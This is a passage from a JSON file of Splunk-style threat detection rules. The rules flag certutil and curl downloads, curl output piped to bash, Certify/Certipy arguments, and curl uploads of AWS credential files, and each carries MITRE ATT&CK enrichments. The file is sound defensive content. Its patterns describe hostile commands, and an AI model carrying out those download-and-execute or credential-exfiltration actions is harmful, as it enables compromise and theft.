"Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "CertUtil Download With VerifyCtl and Split Arguments", - "description": "The following analytic detects the use of `certutil.exe` to download files using the `-VerifyCtl` and `-split` arguments. This behavior is identified by monitoring command-line executions for these specific arguments via Endpoint Detection and Response (EDR) telemetry. This activity is significant because `certutil.exe` is a legitimate tool often abused by attackers to download and execute malicious payloads. If confirmed malicious, this could allow an attacker to download and execute arbitrary files, potentially leading to code execution, data exfiltration, or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_certutil` (Processes.process=*verifyctl* Processes.process=*split*) OR Processes.process=*verifyctl* by Processes.dest Processes.user Processes.original_file_name Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `certutil_download_with_verifyctl_and_split_arguments_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Ingress Tool Transfer", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download a file.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Curl Download and Bash Execution", - "description": "The following analytic detects the use of curl on Linux or MacOS systems to download a file from a remote source and pipe it directly to bash for execution. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and parent processes. This activity is significant as it is commonly associated with malicious actions such as coinminers and exploitation of vulnerabilities like CVE-2021-44228 in Log4j. If confirmed malicious, this behavior could lead to unauthorized code execution, system compromise, and further exploitation within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl (Processes.process=\"*-s *\") OR (Processes.process=\"*|*\" AND Processes.process=\"*bash*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `curl_download_and_bash_execution_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Linux Living Off The Land", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ attempting to download a remote file and run it with bash.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Certify Command Line Arguments", - "description": "The following analytic detects the use of Certify or Certipy tools to enumerate Active Directory Certificate Services (AD CS) environments. It leverages Endpoint Detection and Response (EDR) data, focusing on specific command-line arguments associated with these tools. This activity is significant because it indicates potential reconnaissance or exploitation attempts targeting AD CS, which could lead to unauthorized access or privilege escalation. If confirmed malicious, attackers could gain insights into the AD CS infrastructure, potentially compromising sensitive certificates and escalating their privileges within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"* find *\",\"* auth *\",\"* request *\",\"* req *\",\"* download *\",) AND Processes.process IN (\"* /vulnerable*\",\"* /enrolleeSuppliesSubject *\",\"* /json /outfile*\",\"* /ca*\", \"* -username *\",\"* -u *\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `detect_certify_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Certify/Certipy arguments detected on $dest$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Download Files Using Telegram", - "description": "The following analytic detects suspicious file downloads by the Telegram application on a Windows system. It leverages Sysmon EventCode 15 to identify instances where Telegram.exe creates files with a Zone.Identifier, indicating a download. This activity is significant as it may indicate an adversary using Telegram to download malicious tools, such as network scanners, for further exploitation. If confirmed malicious, this behavior could lead to network mapping, lateral movement, and potential compromise of additional systems within the network.", - "search": "`sysmon` EventCode= 15 process_name = \"telegram.exe\" TargetFilename = \"*:Zone.Identifier\" |stats count min(_time) as firstTime max(_time) as lastTime by dest EventCode process_name process_id TargetFilename Hash | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `download_files_using_telegram_filter`", - "tags": { - "analytic_story": [ - "Phemedrone Stealer", - "Snake Keylogger", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious files were downloaded with the Telegram application on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Linux Curl Upload File", - "description": "The following analytic detects the use of the curl command with specific switches (-F, --form, --upload-file, -T, -d, --data, --data-raw, -I, --head) to upload AWS credentials or configuration files to a remote destination. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an attempt to exfiltrate sensitive AWS credentials, a technique known to be used by the TeamTNT group. If confirmed malicious, this could lead to unauthorized access and potential compromise of AWS resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl Processes.process IN (\"*-F *\", \"*--form *\",\"*--upload-file *\",\"*-T *\",\"*-d *\",\"*--data *\",\"*--data-raw *\", \"*-I *\", \"*--head *\") AND Processes.process IN (\"*.aws/credentials*\". \"*.aws/config*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_curl_upload_file_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Ingress Tool Transfer", - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ attempting to upload important files to a remote destination.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Linux Ingress Tool Transfer Hunting", - "description": "The following analytic detects the use of 'curl' and 'wget' commands within a Linux environment. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, user information, and command-line executions. This activity is significant as 'curl' and 'wget' are commonly used for downloading files, which can indicate potential ingress of malicious tools. If confirmed malicious, this activity could lead to unauthorized code execution, data exfiltration, or further compromise of the system. Monitoring and tuning this detection helps identify and differentiate between normal and potentially harmful usage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=curl OR Processes.process_name=wget) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ingress_tool_transfer_hunting_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ utilizing curl or wget.", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Linux Ingress Tool Transfer with Curl", - "description": "The following analytic detects the use of the curl command with specific switches (-O, -sO, -ksO, --output) commonly used to download remote scripts or binaries. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it may indicate an attempt to download and execute potentially malicious files, often used in initial stages of an attack. If confirmed malicious, this could lead to unauthorized code execution, enabling attackers to compromise the system further.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process, \"(?i)(-O|-sO|-ksO|--output)\") | `linux_ingress_tool_transfer_with_curl_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ to download a remote file. Review activity for further details.", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Living Off The Land Detection", - "description": "The following correlation identifies multiple risk events associated with the \"Living Off The Land\" analytic story, indicating potentially suspicious behavior. It leverages the Risk data model to aggregate and correlate events tagged under this story, focusing on systems with a high count of distinct sources. This activity is significant as it often involves the use of legitimate tools for malicious purposes, making detection challenging. If confirmed malicious, this behavior could allow attackers to execute code, escalate privileges, or persist within the environment using trusted system utilities.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Living Off The Land\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 5 | `living_off_the_land_detection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Living Off The Land behavior has been detected on $risk_object$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell CVE-2021-44228 Exploitation", - "description": "The following analytic identifies potential exploitation of Log4Shell CVE-2021-44228 by correlating multiple MITRE ATT&CK tactics detected in risk events. It leverages Splunk's risk data model to calculate the distinct count of MITRE ATT&CK tactics from Log4Shell-related detections. This activity is significant because it indicates a high probability of exploitation if two or more distinct tactics are observed. If confirmed malicious, this activity could lead to initial payload delivery, callback to a malicious server, and post-exploitation activities, potentially resulting in unauthorized access, lateral movement, and further compromise of the affected systems.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Log4Shell CVE-2021-44228\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 2 | `log4shell_cve_2021_44228_exploitation_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Log4Shell Exploitation detected against $risk_object$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt 